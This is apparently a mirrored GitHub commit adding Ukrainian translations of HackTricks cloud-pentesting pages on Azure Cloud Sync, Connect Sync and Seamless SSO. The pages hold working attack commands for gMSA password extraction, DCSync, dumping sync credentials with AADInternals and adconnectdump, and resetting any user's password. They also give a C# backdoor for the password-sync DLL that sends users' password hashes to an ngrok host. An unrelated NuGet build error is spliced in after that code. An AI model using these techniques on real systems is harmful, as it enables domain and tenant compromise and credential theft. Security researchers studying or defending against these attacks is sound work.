mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
+151
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Cloud Sync** - це новий спосіб Azure для **синхронізації користувачів з AD в Entra ID**.
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync.
|
||||
|
||||
### Principals Generated
|
||||
|
||||
Для того, щоб це працювало, деякі принципи створюються як в Entra ID, так і в локальному каталозі:
|
||||
|
||||
- В Entra ID створюється користувач `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) з роллю **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Ця роль раніше мала багато привілейованих дозволів, і її можна було використовувати для [**ескалації привілеїв навіть до глобального адміністратора**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Однак Microsoft вирішила видалити всі привілеї цієї ролі та призначити лише нову **`microsoft.directory/onPremisesSynchronization/standard/read`**, яка насправді не дозволяє виконувати жодні привілейовані дії (такі як зміна пароля або атрибутів користувача або додавання нових облікових даних до SP).
|
||||
|
||||
- В Entra ID також створюється група **`AAD DC Administrators`** без учасників або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний.
|
||||
|
||||
> [!WARNING]
|
||||
> Серед інших дозволів обліковий запис служби **`provAgentgMSA`** має дозволи DCSync, що дозволяє **будь-кому, хто його скомпрометує, скомпрометувати весь каталог**. Для отримання додаткової інформації про [DCSync перегляньте це](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**.
|
||||
|
||||
## Password Sychronization
|
||||
|
||||
Цей розділ дуже схожий на той, що з:
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Синхронізація хешів паролів** може бути увімкнена, щоб користувачі могли **увійти в Entra ID, використовуючи свої паролі з AD**. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID.
|
||||
- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому зверніть увагу на [розділ Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації.
|
||||
- **Запис груп**: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувач додається до групи в Entra ID, він також буде доданий до відповідної групи в AD.
|
||||
|
||||
## Pivoting
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Якщо користувачі AD синхронізуються з AD в Entra ID, перемикання з AD на Entra ID є простим, просто **скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки він не буде синхронізований в каталог Entra ID (зазвичай лише кілька хвилин)**.
|
||||
|
||||
Отже, ви могли б, наприклад:
|
||||
- Скомпрометувати обліковий запис **`provAgentgMSA`**, виконати атаку DCSync, зламати пароль деякого користувача, а потім використовувати його для входу в Entra ID.
|
||||
- Просто створити нового користувача в AD, почекати, поки він не буде синхронізований в Entra ID, а потім використовувати його для входу в Entra ID.
|
||||
- Змінити пароль деякого користувача в AD, почекати, поки він не буде синхронізований в Entra ID, а потім використовувати його для входу в Entra ID.
|
||||
|
||||
Щоб скомпрометувати облікові дані **`provAgentgMSA`**:
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Тепер ви можете використовувати хеш gMSA для виконання атаки Pass-the-Hash проти Entra ID, використовуючи обліковий запис `provAgentgMSA` і підтримувати постійність, маючи можливість виконувати атаки DCSync проти AD.
|
||||
|
||||
Для отримання додаткової інформації про те, як скомпрометувати Active Directory, перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що немає жодного способу надати ролі Azure або EntraID синхронізованим користувачам на основі їх атрибутів, наприклад, у конфігураціях Cloud Sync. Однак, щоб автоматично надати дозволи синхронізованим користувачам, деякі **групи Entra ID з AD** можуть отримати дозволи, щоб синхронізовані користувачі в цих групах також їх отримали, або **можуть бути використані динамічні групи**, тому завжди перевіряйте динамічні правила та потенційні способи їх зловживання:
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Щодо постійності [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync section](./az-connect-sync.md), оскільки відновлення паролів налаштовується за допомогою цього агента.
|
||||
|
||||
- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ці групи можуть містити лише синхронізованих користувачів з локальних систем і/або додаткові групи безпеки, створені в хмарі.
|
||||
> - Локальні облікові записи користувачів, які синхронізовані і є членами цієї групи безпеки, створеної в хмарі, можуть бути з одного домену або міждоменними, але всі вони повинні бути з одного лісу.
|
||||
|
||||
Отже, поверхня атаки (і корисність) цього сервісу значно зменшена, оскільки зловмисник повинен зламати початковий AD, з якого синхронізуються користувачі, щоб зламати користувача в іншому домені (і обидва, очевидно, повинні бути в одному лісі).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) є основним компонентом Microsoft Entra Connect. Він відповідає за всі операції, пов'язані з синхронізацією даних про ідентичність між вашим локальним середовищем і Microsoft Entra ID.
|
||||
|
||||
Щоб його використовувати, потрібно встановити агент **`Microsoft Entra Connect Sync`** на сервері в вашому середовищі AD. Цей агент буде відповідати за синхронізацію з боку AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Connect Sync** - це, по суті, "старий" спосіб Azure для **синхронізації користувачів з AD в Entra ID.** Новий рекомендований спосіб - використовувати **Entra Cloud Sync**:
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Згенеровані принципали
|
||||
|
||||
- Обліковий запис **`MSOL_<installationID>`** автоматично створюється в локальному AD. Цей обліковий запис отримує роль **Directory Synchronization Accounts** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**.
|
||||
- Це означає, що будь-хто, хто скомпрометує цей обліковий запис, зможе скомпрометувати локальний домен.
|
||||
- У локальному AD створюється керований обліковий запис служби **`ADSyncMSA<id>`** без будь-яких спеціальних привілеїв за замовчуванням.
|
||||
- У Entra ID створюється обліковий принципал **`ConnectSyncProvisioning_ConnectSync_<id>`** з сертифікатом.
|
||||
|
||||
## Синхронізація паролів
|
||||
|
||||
### Синхронізація хешів паролів
|
||||
|
||||
Цей компонент також може бути використаний для **синхронізації паролів з AD в Entra ID**, щоб користувачі могли використовувати свої паролі AD для підключення до Entra ID. Для цього потрібно дозволити синхронізацію хешів паролів в агенті Microsoft Entra Connect Sync, встановленому на сервері AD.
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Синхронізація хешів паролів** є одним з методів входу, що використовується для досягнення гібридної ідентичності. **Azure AD Connect** синхронізує хеш, хешу, пароля користувача з локальної інстанції Active Directory до хмарної інстанції Azure AD.
|
||||
|
||||
По суті, всі **користувачі** та **хеш паролів** синхронізуються з локального AD в Azure AD. Однак **паролі у відкритому тексті** або **оригінальні** **хеші** не надсилаються в Azure AD.
|
||||
|
||||
**Синхронізація хешів** відбувається кожні **2 хвилини**. Однак за замовчуванням **терміни дії паролів** та **терміни дії облікових записів** **не синхронізуються** в Azure AD. Тому користувач, чий **локальний пароль прострочений** (не змінений), може продовжувати **доступ до ресурсів Azure** за допомогою старого пароля.
|
||||
|
||||
Коли локальний користувач хоче отримати доступ до ресурсу Azure, **автентифікація відбувається в Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**.
|
||||
|
||||
### Запис паролів
|
||||
|
||||
Ця конфігурація дозволяє **синхронізувати паролі з Entra ID в AD**, коли користувач змінює свій пароль в Entra ID. Зверніть увагу, що для роботи запису паролів обліковому запису `MSOL_<id>`, автоматично створеному в AD, потрібно надати [більше привілеїв, як зазначено в документації](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback), щоб він міг **змінювати паролі будь-якого користувача в AD**.
|
||||
|
||||
Це особливо цікаво для компрометації AD з скомпрометованого Entra ID, оскільки ви зможете змінити пароль "майже" будь-якого користувача.
|
||||
|
||||
Адміністратори домену та інші користувачі, що належать до деяких привілейованих груп, не реплікуються, якщо група має атрибут **`adminCount` до 1**. Але інші користувачі, яким були надані високі привілеї в AD, не належачи до жодної з цих груп, можуть змінити свій пароль. Наприклад:
|
||||
|
||||
- Користувачі, яким були надані високі привілеї безпосередньо.
|
||||
- Користувачі з групи **`DNSAdmins`**.
|
||||
- Користувачі з групи **`Group Policy Creator Owners`**, які створили GPO та призначили їх OUs, зможуть змінювати GPO, які вони створили.
|
||||
- Користувачі з групи **`Cert Publishers Group`**, які можуть публікувати сертифікати в Active Directory.
|
||||
- Користувачі будь-якої іншої групи з високими привілеями без атрибута **`adminCount` до 1**.
|
||||
|
||||
## Півтування AD --> Entra ID
|
||||
|
||||
### Перерахунок Connect Sync
|
||||
|
||||
Перевірте користувачів:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Перевірте **конфігурацію Connect Sync** (якщо є):
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Знаходження паролів
|
||||
|
||||
Паролі користувача **`MSOL_*`** (та користувача **Sync\_\***, якщо він створений) **зберігаються в SQL сервері** на сервері, де **встановлено Entra ID Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому вигляді.\
|
||||
База даних розташована за адресою `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Можна витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Отже, компрометуючи їх, можна отримати привілейований доступ до AD та AzureAD.
|
||||
|
||||
Ви можете знайти [повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Зловживання MSOL\_\*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Попередні атаки скомпрометували інший пароль, щоб підключитися до користувача Entra ID з ім'ям `Sync_*`, а потім скомпрометувати Entra ID. Однак цей користувач більше не існує.
|
||||
|
||||
### Зловживання ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Цей додаток створено без призначення будь-яких ролей управління Entra ID або Azure. Однак він має такі API дозволи:
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Microsoft служба скидання паролів
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Зазначено, що SP цього додатка все ще можна використовувати для виконання деяких привілейованих дій за допомогою не задокументованого API, але, наскільки мені відомо, жодного PoC ще не знайдено.\
|
||||
У будь-якому випадку, вважаючи, що це може бути можливим, було б цікаво далі дослідити, як знайти сертифікат для входу як цей сервісний принципал і спробувати зловживати ним.
|
||||
|
||||
Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання `Sync_*` користувача на цей сервісний принципал, пояснив, що сертифікат зберігався всередині сервера, і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP.
|
||||
|
||||
Для виконання цих дій опубліковані наступні інструменти: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
На мою думку, сертифікат більше не зберігається в тому місці, де попередній інструмент його шукав, і тому інструмент більше не працює. Тому може знадобитися подальше дослідження.
|
||||
|
||||
### Зловживання Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Раніше в Entra ID був створений користувач з ім'ям `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Однак він все ще може бути присутнім у деяких середовищах, тому варто перевірити його наявність.
|
||||
|
||||
Скомпрометувавши обліковий запис **`Sync_*`**, можна **скинути пароль** будь-якого користувача (включаючи глобальних адміністраторів).
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Також можливо **змінити паролі лише для користувачів хмари** (навіть якщо це неочікувано)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Також можливо скинути пароль цього користувача.
|
||||
|
||||
> [!CAUTION]
|
||||
> Інший варіант - це **призначити привілейовані дозволи службі**, що **Sync** користувач має **дозволи** на це, а потім **отримати доступ до цієї служби** як спосіб підвищення привілеїв.
|
||||
|
||||
### Безшовний SSO
|
||||
|
||||
Можливо використовувати безшовний SSO з PHS, який вразливий до інших зловживань. Перевірте це в:
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Пивотування Entra ID --> AD
|
||||
|
||||
- Якщо увімкнено запис паролів, ви можете **змінити пароль будь-якого користувача в AD**, який синхронізується з Entra ID.
|
||||
- Якщо увімкнено запис груп, ви можете **додати користувачів до привілейованих груп** в Entra ID, які синхронізуються з AD.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+123
-41
@@ -10,17 +10,66 @@
|
||||
|
||||
В основному Azure AD Seamless SSO **авторизує користувачів**, коли вони **на ПК, приєднаному до локального домену**.
|
||||
|
||||
Цю функцію підтримують як [**PHS (Синхронізація хешів паролів)**](phs-password-hash-sync.md), так і [**PTA (Аутентифікація через проксі)**](pta-pass-through-authentication.md).
|
||||
Цю функцію підтримують як [**PHS (Синхронізація хешу пароля)**](phs-password-hash-sync.md), так і [**PTA (Аутентифікація через проксі)**](pta-pass-through-authentication.md).
|
||||
|
||||
Desktop SSO використовує **Kerberos** для аутентифікації. Коли налаштовано, Azure AD Connect створює **обліковий запис комп'ютера під назвою AZUREADSSOACC`$`** в локальному AD. Пароль облікового запису `AZUREADSSOACC$` **надсилається у відкритому вигляді до Azure AD** під час налаштування.
|
||||
Desktop SSO використовує **Kerberos** для аутентифікації. Коли налаштовано, Azure AD Connect створює **обліковий запис комп'ютера під назвою `AZUREADSSOACC$`** в локальному AD. Пароль облікового запису `AZUREADSSOACC$` **надсилається у відкритому тексті до Entra ID** під час налаштування.
|
||||
|
||||
**Квитки Kerberos** **шифруються** за допомогою **NTHash (MD4)** пароля, а Azure AD використовує надісланий пароль для розшифровки квитків.
|
||||
**Квитки Kerberos** **шифруються** за допомогою **NTHash (MD4)** пароля, а Entra ID використовує надісланий пароль для розшифровки квитків.
|
||||
|
||||
**Azure AD** відкриває **кінцеву точку** (https://autologon.microsoftazuread-sso.com), яка приймає **квитки** Kerberos. Браузер комп'ютера, приєднаного до домену, пересилає квитки на цю кінцеву точку для SSO.
|
||||
**Entra ID** надає **кінцеву точку** (https://autologon.microsoftazuread-sso.com), яка приймає **квитки** Kerberos. Браузер машини, приєднаної до домену, пересилає квитки на цю кінцеву точку для SSO.
|
||||
|
||||
### Локальний -> хмара
|
||||
### Перерахування
|
||||
```bash
|
||||
# Check if the SSO is enabled in the tenant
|
||||
Import-Module AADInternals
|
||||
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table
|
||||
|
||||
**Пароль** користувача **`AZUREADSSOACC$` ніколи не змінюється**. Тому доменний адміністратор може скомпрометувати **хеш цього облікового запису**, а потім використовувати його для **створення срібних квитків** для підключення до Azure з **будь-яким синхронізованим локальним користувачем**:
|
||||
# Check if the AZUREADSSOACC$ account exists in the domain
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
|
||||
$searcher.FindOne()
|
||||
```
|
||||
## Pivoting: On-prem -> cloud
|
||||
|
||||
> [!WARNING]
|
||||
> Головне, що потрібно знати про цю атаку, це те, що наявність TGT або конкретного TGS користувача, синхронізованого з Entra ID, достатньо для доступу до хмарних ресурсів.\
|
||||
> Це пов'язано з тим, що це квиток, який дозволяє користувачу увійти в хмару.
|
||||
|
||||
Щоб отримати цей TGS квиток, атакуючий повинен мати один з наступних елементів:
|
||||
- **TGS скомпрометованого користувача:** Якщо ви скомпрометуєте сесію користувача з квитком до `HTTP/autologon.microsoftazuread-sso.com` в пам'яті, ви можете використовувати його для доступу до хмарних ресурсів.
|
||||
- **TGT скомпрометованого користувача:** Навіть якщо у вас його немає, але користувач був скомпрометований, ви можете отримати один, використовуючи трюк з делегуванням фальшивого TGT, реалізований у багатьох інструментах, таких як [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) та [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9).
|
||||
- **Хеш або пароль скомпрометованого користувача:** SeamlessPass зв'яжеться з контролером домену з цією інформацією, щоб згенерувати TGT, а потім TGS.
|
||||
- **Золотий квиток:** Якщо у вас є ключ KRBTGT, ви можете створити TGT, який вам потрібен для атакованого користувача.
|
||||
- **Хеш або пароль облікового запису AZUREADSSOACC$:** З цією інформацією та ідентифікатором безпеки (SID) користувача можливо створити сервісний квиток і аутентифікуватися в хмарі (як це виконано в попередньому методі).
|
||||
|
||||
### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass)
|
||||
|
||||
